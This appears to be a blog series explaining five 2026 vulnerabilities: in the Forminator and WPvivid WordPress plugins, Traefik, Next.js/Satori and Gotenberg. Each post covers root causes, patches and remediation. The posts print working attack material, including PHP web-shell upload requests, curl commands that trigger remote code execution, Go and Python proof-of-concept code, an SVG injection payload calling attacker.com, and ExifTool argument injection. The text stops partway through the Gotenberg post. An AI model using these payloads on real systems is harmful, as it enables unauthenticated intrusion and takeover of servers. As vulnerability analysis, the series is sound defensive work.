DEV Community: GUIDANCE WHITE

CVE-2026-15748 Explained: How One Pipe Character Broke an "Exact Match" Blocklist

GUIDANCE WHITE — Sat, 17 Oct 2026 01:56:27 +0000

Overview

Item	Detail
CVE ID	CVE-2026-15748
Affected product	Forminator Forms – Contact Form, Payment Form & Custom Form Builder (WordPress plugin)
Affected versions	1.56.1 and earlier
Fixed in	1.56.2
CVSS 3.1	9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type	CWE-434 (Unrestricted Upload of File with Dangerous Type)
Authentication required	None
Reported by	daroo, via the Wordfence Bug Bounty Program
Install base	Installed on more than 600,000 WordPress sites
Precondition	The targeted form must contain both a File Upload field and a Select field

Forminator Forms is a form builder plugin for WordPress that handles contact forms, payment forms, and custom forms. Any form accepting file attachments needs logic that stops dangerous files from being uploaded, and Forminator has exactly that — a dangerous-extension blocklist inside handle_file_upload(). This CVE, though, isn't a single flaw. It's a case where two separate weak points happened to line up and together produced RCE.

The first is that the setting determining which file types an upload field accepts gets trusted from the request itself, rather than from the form definition saved on the server. The second is that the blocklist check meant to filter out dangerous extensions compares MIME type strings using exact key matching, with no normalization. Combine the two, and an attacker can inject a forged configuration through a completely different field (Select) to redefine what the upload field accepts, then slip a .php file past the blocklist check with nothing more than a single pipe (|) character.

Where the flaw lives — who decides an upload field's "allowed types"

Forminator form submissions go through an admin-ajax.php action that's callable without authentication. In the correct flow, which extensions/MIME types an upload field accepts should be a value the admin configured when building the form, stored on the server (in the database), and the uploaded file should be checked against that stored value at submission time.

// reconstructed from the public advisory — conceptual submission flow
public function handle_file_upload($field, $file, $request_data) {
    $allowed_types = $this->get_field_settings($field_id);   // this is supposed to be the SAVED setting
    ...
}

Step-by-step source analysis

Step 1 — the public submission handler trusts field config straight from the request

According to Wordfence's public advisory, that's exactly where the problem sits. The public submission handler builds the upload field's configuration from a value included in the request, rather than from what's stored on the server — and that value can be injected through a field that looks completely unrelated, like a Select field.

// reconstructed from the public advisory — config merge step before handle_file_upload()
$field_settings = $this->get_field_settings_from_request($_POST);
// embed a structure that looks like an "upload field config" inside the select-1 value,
// and the server accepts it as-is, instead of the admin's actual setting

This step alone is already serious. Even if an admin configured an upload field to "only allow jpg, png," an attacker sending a crafted value through the Select field can redefine, at request time, which extensions that form actually accepts.

Step 2 — the last line of defense left: the dangerous-extension blocklist

Even if the allowed types can be redefined arbitrarily, handle_file_upload() still has one more check: a separate blocklist filtering out dangerous, server-executable extensions and MIME types like .php or .phtml. This check is where the second flaw lives.

// reconstructed from the public advisory
$dangerous_mime_types = [
    'application/x-php'      => true,
    'application/x-httpd-php' => true,
    // ...
];

if (isset($dangerous_mime_types[$mime_key])) {
    return new WP_Error('dangerous_file_type', ...);
}

This code only flags something as dangerous when $mime_key is literally identical to one of the blocklist's keys. In Wordfence's own words, this logic is bypassed by "pipe-alternative MIME type keys."

Normal request's mime_key:    "application/x-php"       → $dangerous_mime_types[...] exists → blocked
Crafted request's mime_key:   "application/x-php|"      → $dangerous_mime_types[...] doesn't exist → isset() = false → allowed

Appending a single | to the MIME type string is enough to make isset() conclude "no such key exists." The blocklist's actual intent — stopping files with dangerous MIME types — goes unenforced, because an implementation that only checks for exact string equality becomes a bypass in its own right.

Step 3 — combine both flaws: a PHP file with attacker-chosen name and content lands on disk

Putting the two flaws together, an attacker can:

Embed a forged "upload field config" inside the Select field value, overriding the server's trusted allowed-type list entirely.
Even if a blocklist check remains, slip past it by appending | to the MIME type key.
Fully control both the filename and the content.

POST /wp-admin/admin-ajax.php
action=forminator_submit_form_custom-forms-5
file-upload-1[name]=shell.php
file-upload-1[content]=<?php system($_GET['cmd']); ?>
select-1=<encoded value carrying the forged upload-field config>

If this request is processed normally, a PHP file named shell.php, with exactly the content the attacker chose, gets created in the upload directory.

Step 4 — the default directory has `.htaccess` protection; Custom Upload Storage doesn't

That's not the whole story, either. By default, Forminator's upload directory is protected by a .htaccess file that blocks PHP execution — so even if a .php file gets uploaded, the web server often just returns it as plain text rather than executing it. But when an admin configures a separate "Custom File Upload Storage root," that protection disappears.

Here's how Wordfence describes it: that .htaccess file is created "when first needed" — specifically, during the processing of a frontend (unauthenticated) submission request. But the WordPress helper function responsible for writing .htaccess isn't loaded on that frontend request path at all. As a result, files accumulate in the custom upload path with no PHP-execution safeguard ever having been created.

curl "http://target/wp-content/uploads/forminator-custom/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

Simply requesting the uploaded file by URL is enough for the server to execute it as PHP. No authentication, no special privileges, no trick on a second request — nothing.

The patch — let the server own the config, and normalize before comparing

Forminator 1.56.2 fixed this structurally. An upload field's allowed file types are no longer built from values carried in the request at all — only the form configuration stored on the server is trusted. The dangerous-extension/MIME-type blocklist comparison was also changed from a plain key match to a comparison against normalized input, so appending a delimiter like | no longer bypasses it.

Two lessons come out of this. First, the assumption that "this value must already be a server-trusted setting" can be broken from almost any position in a request. If a configuration value can be injected through a field that looks entirely unrelated to the thing it configures — here, a Select field redefining an upload field's accepted types — the validation built around that setting means nothing. Second, a blocklist or allowlist comparison that checks "is this string exactly equal" without normalizing the input first will always have room for an attacker to construct a variant that means the same thing semantically while differing just enough in the raw string to slip through.

Remediation

Update Forminator Forms to 1.56.2 or later immediately.
Check whether any of your forms combine a File Upload field with a Select field, and if an immediate update isn't possible, consider temporarily disabling the file upload field on those forms.
If you're using a "Custom File Upload Storage root," verify directly — independent of the plugin's own settings — that web-server-level protection against PHP execution (an Nginx location rule, an Apache .htaccess directive) actually applies to that directory.
If exposure is possible, check both the default and custom upload directories for unfamiliar .php/.phtml files, and review access logs for forminator_submit_form_* requests to admin-ajax.php carrying unusually large select parameter values.

CVE-2026-88008 Explained: One "101 Switching Protocols" Erases Every Middleware Traefik Has

GUIDANCE WHITE — Fri, 16 Oct 2026 02:08:01 +0000

Overview

Item	Detail
CVE ID	CVE-2026-88008
Affected product	Traefik (open-source reverse proxy and load balancer)
Affected versions	2.11.26 through 2.11.56, 3.4.2 through 3.7.12
Fixed in	2.11.57, 3.7.13
CVSS	7.0 (High, CVSS v4.0) — some advisories also cite 9.1 under CVSS 3.1
Type	CWE-444 (Inconsistent Interpretation of HTTP Requests / HTTP Smuggling), CWE-863 (Incorrect Authorization)
Authentication required	None
Reported by	ihopenre-eng, via Traefik's GitHub Security Advisory (GHSA-w4v4-9rw7-5326), disclosed 2026-09-07
Precondition	An attacker-reachable "unprotected router" and a "protected router" must share the same backend, and that backend must respond with 101 to an `Upgrade: h2c` request

Traefik's model is simple: a router decides which backend a request goes to, and the middleware attached to that router — BasicAuth, ForwardAuth, IPAllowList, RateLimit, and the like — handles authentication and authorization. For this model to actually be secure, one assumption has to hold without exception: every request has to pass through the router and its middleware, no detours.

CVE-2026-88008 is exactly where that assumption breaks. Since Go 1.24, Traefik supports unencrypted HTTP/2 with prior knowledge (h2c), and that created a path where a client-supplied Connection: Upgrade and Upgrade: h2c header gets forwarded to the backend with no validation at all. If the backend accepts that upgrade request and responds with 101 Switching Protocols, Traefik stops interpreting the connection as HTTP requests entirely and switches it into a raw tunnel that just copies bytes between the client and the backend. The problem is that routing and middleware selection only happen for the first HTTP/1 request. Once the tunnel opens, every HTTP/2 request that flows through it afterward completely skips Traefik's router and middleware chain.

The upshot: an attacker only needs to open an h2c tunnel through a completely unauthenticated public path (/public) to reach a BasicAuth-protected path (/admin) on the same backend — with zero credentials.

Where the flaw lives — four points the Upgrade header passes through

The GitHub security advisory identifies four places in the code involved in this flow, based on the default proxy implementation, pkg/proxy/httputil.

┌───────────────┐   GET /public              ┌──────────┐
│               │   Connection: Upgrade       │          │
│    Attacker   │──Upgrade: h2c──────────────▶│ Traefik  │
│               │                              │          │
└───────────────┘                              └────┬─────┘
                                                      │ r-public (no auth)
                                                      ▼
                                                 ┌──────────┐
                                                 │ Backend  │
                                                 └────┬─────┘
                                                      │ 101 Switching Protocols
                                                      ▼
                                              [ raw byte tunnel ]
                                                      │
                                                      │ HTTP/2 GET /admin
                                                      ▼
                                                 ┌──────────┐
                                                 │ Backend  │──▶ /admin (BasicAuth never applied)
                                                 └──────────┘

Step-by-step source analysis

Step 1 — there's no allowlist on the `Upgrade` header

removeConnectionHeaders() in pkg/middlewares/forwardedheaders/forwarded_header.go (around lines 198–234) cleans up the hop-by-hop headers listed in a Connection header. But when Connection: Upgrade is present, the Upgrade header itself is treated as something to preserve, not something to strip. The problem: nothing here checks whether that Upgrade value is websocket, h2c, or any arbitrary token an attacker made up.

// pkg/middlewares/forwardedheaders/forwarded_header.go (removeConnectionHeaders, ~198-234)
// when Connection: Upgrade is present, the Upgrade header is preserved and passed on unchanged
// — there's no check for whether the token is "websocket"

Step 2 — WebSocket handling is "special treatment," not an allowlist

isWebSocketUpgrade() in pkg/proxy/httputil/proxy.go (around line 170) applies cleanWebSocketHeaders() specifically to WebSocket upgrade requests. At first glance this looks like logic that "allows WebSocket and blocks everything else," but in practice it only adds extra handling for WebSocket — there's no code anywhere that rejects other upgrade tokens, h2c included. If isWebSocketUpgrade() returns false, the request simply continues on as an ordinary upgrade request.

Step 3 — `smart_roundtripper` forwards the upgrade request to the backend over HTTP/1

RoundTrip() in pkg/server/service/smart_roundtripper.go (around line 56) sends a request containing Connection: Upgrade to the backend over HTTP/1. Up to this point, all that's happened is "the request got forwarded" — the actual security boundary collapses in the next step.

Step 4 — a `101 Switching Protocols` response erases the routing/middleware layer entirely (the root cause)

Traefik's default proxy uses the standard library's net/http/httputil.ReverseProxy. When the backend responds with 101 Switching Protocols, ReverseProxy switches that connection into a tunnel mode that just copies bytes between client and backend. On its own, this is standard behavior meant to support proxying WebSocket — nothing wrong with it in isolation.

The actual problem is that Traefik's router and middleware selection happen only for that one initial HTTP/1 request. Once the 101 response opens the tunnel, Traefik no longer treats that connection as "a flow of HTTP requests it needs to interpret." So when a new HTTP/2 stream (i.e., a brand-new HTTP request) arrives over that tunnel, it is never routed from scratch, and no middleware ever touches it.

// Core of the PoC attacker code (published as GHSA-w4v4-9rw7-5326)
raw, _ := net.Dial("tcp", front)
raw.Write([]byte(
    "GET /public HTTP/1.1\r\n" +
        "Host: x\r\n" +
        "Connection: Upgrade, HTTP2-Settings\r\n" +
        "Upgrade: h2c\r\n" +
        "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
        "\r\n",
))
// ... after receiving the 101, an HTTP/2 client is built on top of the SAME raw socket
cc, _ := (&http2.Transport{}).NewClientConn(raw)
req, _ := http.NewRequest("GET", "http://x/admin", nil)
r2, _ := cc.RoundTrip(req)   // /admin never passes through the r-admin router at all

The key point: the attacker never sends a request to /admin directly. They turn the connection established through the unauthenticated /public router into a tunnel, and then, over that tunnel — the same already-open TCP connection — they issue a brand-new HTTP/2 request that reaches /admin. As far as Traefik is concerned, it processed exactly one /public request; whatever flows over that same connection afterward is invisible to it.

What the published PoC actually demonstrated

With Traefik configured so that /public (no auth) and /admin (BasicAuth) both route to the same backend, the researcher's published PoC produced:

[1] Direct GET /admin (no creds)      -> 401 Unauthorized
[2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel     -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"

/admin, which returns 401 when requested directly, returns 200 with the protected data once reached through the h2c tunnel. BasicAuth, ForwardAuth, IPAllowList, RateLimit — every middleware attached to that router — gets bypassed, and requests sent through the tunnel don't show up as individual requests in Traefik's normal access logs, metrics, or tracing.

Why this is different from operator-configured h2c support

Traefik already lets operators explicitly enable h2c backend communication through the h2c:// service scheme or the transportH2C setting. This vulnerability is unrelated to that feature. Here, the upgrade is initiated by the client, not the operator, and Traefik forwards it regardless of whether h2c is configured for that backend at all. In other words, even a completely ordinary HTTP/1 backend that the operator never intended to speak h2c can be affected, as long as its implementation happens to accept Upgrade: h2c and answer with 101.

Not every backend is vulnerable, though. Recent golang.org/x/net/http2/h2c implementations no longer support the HTTP/1.1 upgrade mechanism at all, so a current Go-based h2c server using that implementation isn't exposed through this path. Older implementations, non-Go servers, custom h2c handlers, and some gRPC-adjacent stacks, however, may still accept the upgrade.

The patch — stop forwarding the Upgrade token unchecked

Traefik 2.11.57 and 3.7.13 stop forwarding the Upgrade: h2c token and its accompanying HTTP2-Settings header to the backend. Upgrade: websocket is unaffected and continues to work as before.

The principle here is clear. For any component that has to guarantee requests pass through a specific layer — routing, authentication — before reaching their destination, protocol-switching mechanisms that can bypass that layer (Upgrade, CONNECT, and similar) need to be restricted to an explicit allowlist. The key lesson of this case is that "we added special handling for WebSocket" does not mean "anything that isn't WebSocket gets rejected." And any code that handles a response like 101 Switching Protocols — one that fundamentally redefines what the connection even is — needs to re-verify that its security layer still applies after that transition, not just before it.

Remediation

Update Traefik to 2.11.57 or 3.7.13 or later immediately. (The 3.4.2–3.6 branches are end-of-life, so migrate to 3.7.13.)
If an immediate update isn't possible, separating services so that protected and public paths never share the same backend is a workable interim mitigation — if they're different backends, an opened tunnel still can't reach the protected path.
Check directly whether your backend actually accepts Upgrade: h2c and responds with 101 — if it doesn't, this precondition doesn't hold for your environment.
Even after patching, requests sent through the tunnel never appeared as individual entries in normal access logs, so confirming whether this was exploited during a past exposure window can't rely on access logs alone. Cross-check backend-side logs (where available) and look for unusual long-lived connections or upgrade-request patterns.

CVE-2026-1357 Explained: The Cost of Never Checking Whether Decryption Failed

GUIDANCE WHITE — Thu, 15 Oct 2026 01:41:44 +0000

Overview

Item	Detail
CVE ID	CVE-2026-1357
Affected product	WPvivid Backup & Migration (WordPress plugin)
Affected versions	0.9.123 and earlier
Fixed in	0.9.124
CVSS 3.1	9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type	CWE-434 (Unrestricted Upload of File with Dangerous Type); root cause is a cryptographic fail-open combined with missing path validation
Authentication required	None (though a plugin "Key" must have been generated at least once beforehand)
Reported by	Lucas Montes (NiRoX), via Wordfence
Install base	Installed on more than 800,000 WordPress sites

WPvivid Backup & Migration is a plugin that creates WordPress backups and moves them to another server. To transfer backup data between sites securely, the plugin implements its own protocol: it encrypts backup chunks with an AES session key, which is itself wrapped in RSA. The cryptographic design is sound on paper. The problem is that it never answered one question: what should happen when RSA decryption fails?

When openssl_private_decrypt() fails, PHP returns false. The plugin never checked that return value — it passed false straight into the next stage, phpseclib's AES decryption function, as the key. phpseclib treats a non-string value like false as a zero-length string, and because AES requires a fixed-length key, the library's internal padding/casting logic turns that into a predictable key filled entirely with null bytes. The RSA private key — the entire point of the protection — is effectively bypassed. Layer a second flaw on top — the uploaded filename is never validated — and an unauthenticated attacker can drop a PHP web shell directly into WordPress's upload directory.

Where the flaw lives — the cross-site backup transfer protocol

WPvivid exposes an AJAX action called send_to_site to move a backup from one site to another. The request carries a packet structured like this:

[RSA ciphertext length (3 hex digits)][AES key encrypted with RSA][AES ciphertext length (16 hex digits)][JSON payload encrypted with AES]

The intent is straightforward: the AES key itself is encrypted with an RSA public key, the receiving side recovers it using its own private key, and that recovered key decrypts the actual backup data (JSON). If this worked as designed, an attacker without the RSA private key should have no way to produce a valid AES key in the first place.

Step-by-step source analysis

Step 1 — the RSA decryption result is used without being checked

The handling logic in class-wpvivid-send-to-site.php looks roughly like this (reconstructed from the public advisory and the published PoC):

// class-wpvivid-send-to-site.php (reconstructed from the public advisory)
openssl_private_decrypt($encrypted_aes_key, $aes_key, $this->private_key);

$cipher = new \phpseclib\Crypt\AES('cbc');
$cipher->setKey($aes_key);          // passed through even if $aes_key is false
$cipher->setIV($iv);
$json = $cipher->decrypt($encrypted_payload);

openssl_private_decrypt() returns true and fills its third argument ($aes_key) with the decrypted value on success — or returns false, leaving $aes_key unset or unchanged, on failure. Correct code checks that return value and rejects the request immediately on failure. This code discards the return value entirely and uses $aes_key as the AES key on the very next line, whatever state it's in.

Step 2 — phpseclib casts `false` into a "null-byte key" (the root cause)

setKey() expects a string. PHP is loosely typed, so when false lands where a string is expected, an implicit conversion happens. Inside phpseclib, as the key gets padded out to the block cipher's required length (16 bytes for AES-128), false is effectively treated as an empty string of length zero, and padding that out to 16 bytes produces a key consisting of sixteen repeated \x00 bytes.

openssl_private_decrypt() fails → $aes_key = false
setKey(false) → phpseclib pads it out, landing on "\x00" × 16 in practice

This is the crux of the whole bug. An AES key that should only be derivable with the RSA private key instead collapses to the exact same value — sixteen null bytes — every single time decryption fails. The attacker doesn't need to know the server's RSA private key at all; they only need to know "this server falls back to a fixed key whenever decryption of the attacker's own crafted request fails." The RSA-ciphertext portion of the packet can contain literally anything, including something that isn't valid RSA ciphertext at all — it fails to decrypt either way, and either way the result is the same null-byte key. The public PoC does exactly this, filling the RSA slot with the meaningless placeholder "ABC" and encrypting only the AES portion with a null key and null IV.

# Core PoC logic (halilkirazkaya/CVE-2026-1357, public repository)
null_key = b"\x00" * 16
null_iv  = b"\x00" * 16
cipher = AES.new(null_key, AES.MODE_CBC, iv=null_iv)   # matches the server's own failure fallback

fake_key = b"ABC"   # meaningless placeholder for the RSA slot — it's fine if decryption fails
packet = (
    format(len(fake_key), "03x").encode() + fake_key
    + format(len(encrypted), "016x").encode() + encrypted
)

Step 3 — the file path inside the (apparently) decrypted JSON is used with no validation

Once the server decrypts the attacker's AES ciphertext using the null-byte key, it gets back exactly the JSON the attacker intended:

{
  "backup_id": "1",
  "name": "../uploads/shell.php",
  "data": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+",
  "offset": 0,
  "index": 0,
  "type": "backup",
  "status": "running"
}

The name field here is both the filename and the path a backup chunk gets written to. In normal use, this field presumably assumes only a filename under the plugin's internal directory will ever appear — but there's no check at all for whether this value can escape that directory (path normalization, blocking ../, allowed-extension checks, none of it). The data field is the base64-encoded file content itself, which can hold PHP web shell code directly.

Step 4 — path traversal lands the file in the public upload directory

The ../ sequence embedded in name is interpreted literally when the plugin writes the file, breaking out of the intended backup-only directory and landing it in WordPress's public upload directory (wp-content/uploads/). Because the web server serves that directory directly, the uploaded PHP file executes the moment it's requested by URL — no separate trigger needed.

curl "http://target/wp-content/uploads/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

No credentials, no RSA private key, not even a valid session required. The only precondition is that a "Key" (API token) must have been generated at some point in the plugin's settings — and because the plugin's own internal logic often turns this on automatically whenever the relevant feature is used, rather than requiring deliberate admin action each time, this precondition holds often enough in real deployments.

The patch — treat failure as failure, and validate the path

WPvivid 0.9.124 fixed this in two places:

It now checks the return value of openssl_private_decrypt() and rejects the request immediately on failure, so false never reaches the next stage at all.
It added path normalization and directory-traversal protection to the uploaded file's name value, making it impossible to write outside the designated backup directory.

There are two lessons here. Treating a cryptographic function's failure as "something that won't happen" and skipping the return-value check turns that exact failure path into the most predictable route to success an attacker could ask for. And data being encrypted doesn't mean every value inside it — especially a file path — can be trusted once decrypted; input validation is still required on the other side of the cryptographic layer.

Remediation

Update WPvivid Backup & Migration to 0.9.124 or later immediately.
If an immediate update isn't possible, consider revoking any generated "Key" in the plugin's settings and disabling the cross-site transfer feature until it can be regenerated.
Blocking PHP execution inside wp-content/uploads/ at the web server level (an Nginx location rule, an Apache .htaccess directive) is a useful common defense against this entire class of upload vulnerability.
If exposure is possible, check wp-content/uploads/ for unfamiliar .php files, and cross-reference web server access logs for wpvivid_action=send_to_site requests followed by access to the upload directory.

CVE-2026-94545 Explained: What Happens When an OG-Image Generator Forgets to Escape

GUIDANCE WHITE — Tue, 13 Oct 2026 22:11:32 +0000

Overview

Item	Detail
CVE ID	CVE-2026-94545
Affected product	Next.js `next/og`'s `ImageResponse` (Node.js runtime); root cause lives in Vercel's Satori library
Affected versions	Next.js 16.2.0 through 16.3.5 / Satori 0.0.27 through 0.33.4
Fixed in	Next.js 16.3.6 / Satori 0.33.5
CVSS	9.5 (Critical, CVSS v4.0) — Satori's own advisory cites up to 9.8
Type	CWE-116 (Improper Output Encoding/Escaping), with downstream potential for CWE-918 (SSRF)
Authentication required	None
Disclosed by	Vercel's official security advisory (GHSA-wx4j-mvgx-mqwp), published 2026-09-22
Note	Next.js 15 and the Edge runtime implementation are not affected

Next.js's next/og module generates Open Graph images — the preview cards you see when a link gets shared on social platforms — straight from JSX and CSS. Because it's routine to drop external input like a blog post title or a profile name directly into that image, this feature is almost always exposed as a public endpoint reachable with no login at all.

The core of this CVE is that a value went unescaped in the middle of the image pipeline (JSX → SVG). ImageResponse converts JSX into an SVG string internally through a library called Satori, and during that conversion, characters like ", <, and > inside attribute values or text were being dropped straight into the SVG string as-is. If an attacker supplies input containing those characters, what should have been "a piece of text" turns into "an entirely new SVG tag." That finished SVG then goes through sharp to be rasterized into a PNG by native libraries — libvips, librsvg, libxml2 — and when an XML document whose structure the attacker fully controls reaches those native parsers, it can lead to remote code execution with the privileges of the server process.

Where the flaw lives — from JSX to PNG

Here's the full path ImageResponse takes to produce an image:

Application code hands JSX to new ImageResponse(<div>...</div>). That JSX usually contains external input — a URL query parameter, for instance.
Satori parses the JSX and CSS and assembles an SVG string.
The assembled SVG string is passed to sharp to be rasterized into a PNG.
The finished PNG is returned as the OG image.

// Example application code
export async function GET(req) {
  const title = req.nextUrl.searchParams.get('title');
  return new ImageResponse(
    <div style={{ fontSize: 48 }}>{title}</div>
  );
}

Here, title is entirely attacker-controlled. The problem sits in step 2 — the exact moment Satori turns that value into an SVG string.

Step-by-step source analysis

Step 1 — Satori interpolates attribute values and text into a template literal, unescaped

Before the fix, Satori's preprocess.ts serialized each SVG element's attributes using a plain template literal:

// src/handler/preprocess.ts (before the fix, vercel/satori)
const attrs = `${Object.entries(restProps)
  .map(([k, _v]) => {
    if (typeof _v === 'string' && _v.toLowerCase() === 'currentcolor') {
      _v = currentColor
    }
    return ` ${ATTRIBUTE_MAPPING[k] || k}="${_v}"`   // _v inserted as-is
  })
  .join('')}`

Text nodes received the same treatment:

// src/handler/preprocess.ts (before the fix)
if (typeof node !== 'object') return String(node)   // stringified, never escaped

Whatever characters end up in _v (an attribute value) or node (text content), there's no step that turns ", <, >, or & — characters with special meaning in HTML/XML — into their entity equivalents. In other words, nothing stopped a value from being read as part of the markup instead of as data.

Step 2 — a `"` and `>` in the value break the attribute boundary and spawn a new tag

The code that renders a <text> element puts a value like title directly into an attribute. If an attacker sends:

title = A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>

the assembled SVG string, with no escaping in place, actually comes out as:

<text x="10" title="A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>">...</text>

The attribute that was supposed to end at title="A" cuts off right at A", and what follows — ><image .../> — is no longer parsed as an attribute of <text> at all. It becomes an entirely new, sibling-level SVG element. Put an external URL in <image>'s href and you get SSRF; break into <foreignObject> or <style> instead, and you open up a different parsing path. Which tag gets injected is entirely up to the attacker — Satori had no way to tell the difference.

Step 3 — the finished SVG reaches the native parsers through sharp

Once assembled, the SVG string is handed to sharp to be converted into a PNG:

// next/og internals (conceptual)
const png = await sharp(Buffer.from(svgString)).png().toBuffer()

sharp doesn't parse SVG itself — it delegates to libvips, which in turn calls native libraries like librsvg and libxml2 to interpret the SVG. At this point, what Satori handed off is no longer "a picture description containing a title" — it's an XML document whose structure the attacker designed. Feeding that document to a native parser opens two kinds of damage:

SSRF, via an injected <image href="http://..."> that makes the server request an arbitrary internal or external resource
RCE, if the crafted SVG structure triggers memory corruption while librsvg/libxml2 parse it, executing arbitrary code with the privileges of the Next.js server process

Two conditions have to hold for the attack to work: ImageResponse must run on the Node.js runtime (the Edge runtime isn't affected), and attacker-controlled input must land in SVG content, an attribute, or a style. OG image routes are public by design, and sharp ships by default in most production deployments, including the official Docker image — so both conditions are satisfied in common setups without anyone doing anything unusual.

The patch — escape values, validate names

Satori 0.33.5 reworked the entire SVG serialization path to handle values and names through two different, purpose-built mechanisms.

// src/utils.ts (after the fix)
export function escapeXMLAttribute(value: unknown): string {
  if (
    typeof value === 'number' ||
    typeof value === 'bigint' ||
    typeof value === 'boolean'
  ) {
    return '' + value
  }
  return escapeHTML(String(value))   // string values are always escaped
}

export function escapeXMLText(value: unknown): string {
  return escapeHTML(String(value))
}

export function assertValidXMLName(name: string, kind: 'element' | 'attribute') {
  if (!VALID_XML_NAME.test(name)) {
    throw new Error(`Invalid XML ${kind} name: ${JSON.stringify(name)}`)
  }
}

And the serializer, buildXMLString(), now routes every attribute through that escaping function:

// src/utils.ts (after the fix)
export function buildXMLString(
  type: string,
  attrs: Record<string, unknown>,
  children?: string
) {
  assertValidXMLName(type, 'element')
  let attrString = ''
  for (const [k, _v] of Object.entries(attrs)) {
    if (typeof _v !== 'undefined') {
      assertValidXMLName(k, 'attribute')
      attrString += ` ${k}="${escapeXMLAttribute(_v)}"`   // value: escaped
    }
  }
  ...
}

Values go through escapeXMLAttribute()/escapeXMLText(), which convert ", <, >, &, and the like into entities — turning them into strings that can never break out of a tag. Tag names and attribute names (keys), on the other hand, can't be escaped at all by nature, so those go through assertValidXMLName() instead, which throws if the name doesn't conform to the XML naming spec. Escaping for values, validation for names — treating two fundamentally different kinds of input with the mechanism each one actually needs is the core of this fix.

Remediation

Update Next.js to 16.3.6 or later. If you depend on Satori directly, update it to 0.33.5 or later.
If an immediate update isn't possible, audit every path where user input reaches the JSX passed to ImageResponse. Where feasible, moving the affected route to the Edge runtime, or running it in an environment without the sharp dependency, can serve as a temporary mitigation — though neither is a substitute for the real patch.
Since OG image routes are inherently meant to be public, a WAF rule that temporarily blocks requests where image-generation query parameters (title, description, etc.) contain ", <, or > can help in the interim.
If there was a window of exposure, check outbound request logs for signs that a sharp/librsvg process reached an unexpected external host — a possible indicator of SSRF.

CVE-2026-40281 Explained: A Patch That Guarded "=" on One Side Only

GUIDANCE WHITE — Tue, 13 Oct 2026 01:25:17 +0000

Overview

Item	Detail
CVE ID	CVE-2026-40281
Affected product	Gotenberg (Docker-powered PDF conversion API, thecodingmachine/gotenberg)
Affected versions	8.30.1 and earlier
Fixed in	8.31.0
CVSS 3.1	10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Type	CWE-88 (Argument Injection), CWE-20 (Improper Input Validation)
Authentication required	None
Reported by	morimori-dev, via a Gotenberg GitHub Security Advisory
Note	A bypass of the "incomplete fix" shipped in v8.30.1

Gotenberg is a Docker-based API server that converts HTML and Office documents into PDFs. It can also write metadata — title, author, and so on — into the generated PDF, and the actual write is handled internally by an external program called ExifTool.

The story here is that a prior fix only closed half the door. The earlier reported issue was that a newline inside a metadata key could inject arbitrary arguments into ExifTool, so Gotenberg added a regex check on keys. But metadata is a key/value pair, and the attacker controls both sides — not just the key. The patch validated only the left side of = (the key); the right side (the value) kept flowing to ExifTool completely unchecked.

As a result, the exact same class of argument injection became possible again — just by putting a newline in the value instead. An unauthenticated attacker can move or overwrite arbitrary files inside the Gotenberg container, or create symlinks/hardlinks at paths of their choosing, all as root.

Where the flaw lives — the metadata write pipeline

Here's how Gotenberg handles a PDF metadata write:

A client sends a PDF file plus JSON metadata (e.g., {"Title": "..."}) to /forms/pdfengines/metadata/write.
Gotenberg passes that metadata to WriteMetadata() in pkg/modules/exiftool/exiftool.go.
WriteMetadata() hands each key/value pair to SetString() in the go-exiftool library, which writes it, line by line, to the standard input (stdin) of a running ExifTool process.

// barasher/go-exiftool
fmt.Fprintln(e.stdin, "-"+k+"="+str)

ExifTool is a command-line tool, but instead of launching fresh for every request, Gotenberg keeps one process running and feeds it commands over stdin (-stay_open mode). In this design, every line written to stdin is effectively one command-line argument. So if that one line secretly contains another newline, it creates an unintended "second argument."

Step-by-step source analysis

Step 1 — the v8.30.1 patch validates the key, and only the key

In response to an earlier-reported flaw (injecting arguments via a newline in the metadata key, tracked as CVE-2026-42589), Gotenberg 8.30.1 added this key-validation logic:

// pkg/modules/exiftool/exiftool.go — WriteMetadata()
// key validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
}

safeKeyPattern is a regex that only allows safe characters like alphanumerics, blocking newlines or = from sneaking into a key. This part works exactly as intended.

Step 2 — the value sails straight through to ExifTool, unchecked

The problem is the very next step. Once a key clears validation, its value is handed to SetString() with no check at all.

// the value passes through with no validation
case string:
    fileMetadata[0].SetString(key, val)  // val can contain anything

go-exiftool's WriteMetadata() takes this key/value pair and writes it as one line to ExifTool's stdin:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

k (the key) just passed validation, so it's safe. Nobody checks what's inside str (the value).

Step 3 — a newline in the value splits one stdin line into two (the root cause)

fmt.Fprintln appends a newline after the string it's given — it does nothing to stop a newline that's already inside that string. So if str itself contains \n, ExifTool's stdin receives two lines instead of the intended one.

For example, send this as the Title metadata value:

Title = "test\n-FileName=/tmp/inject_proof"

and ExifTool's stdin actually receives:

-Title=test
-FileName=/tmp/inject_proof

To ExifTool, this isn't "set Title to test" — it's two entirely separate commands, the second being -FileName=/tmp/inject_proof. -FileName, -Directory, -SymLink, and -HardLink are ExifTool "pseudo-tags" — they don't write metadata, they manipulate the filesystem directly. An attacker can inject any of these pseudo-tags through the value — and notably, these are exactly the tags the key validation was meant to block. The v8.30.1 patch checked only the left side of =; the attacker reproduces the same outcome through the right side.

Step 4 — direct filesystem manipulation inside the container, as root

Inside the Gotenberg container, ExifTool runs as root by default. Since the injected pseudo-tag applies directly to the PDF currently being processed, an attacker gains:

# 1) Move the PDF being processed to an arbitrary path inside the container
curl -s -w "\nHTTP %{http_code}" \
  -F 'files=@test.pdf;type=application/pdf' \
  -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
  http://target:3000/forms/pdfengines/metadata/write
# → HTTP 404 (file vanished from the temp path = the move succeeded)

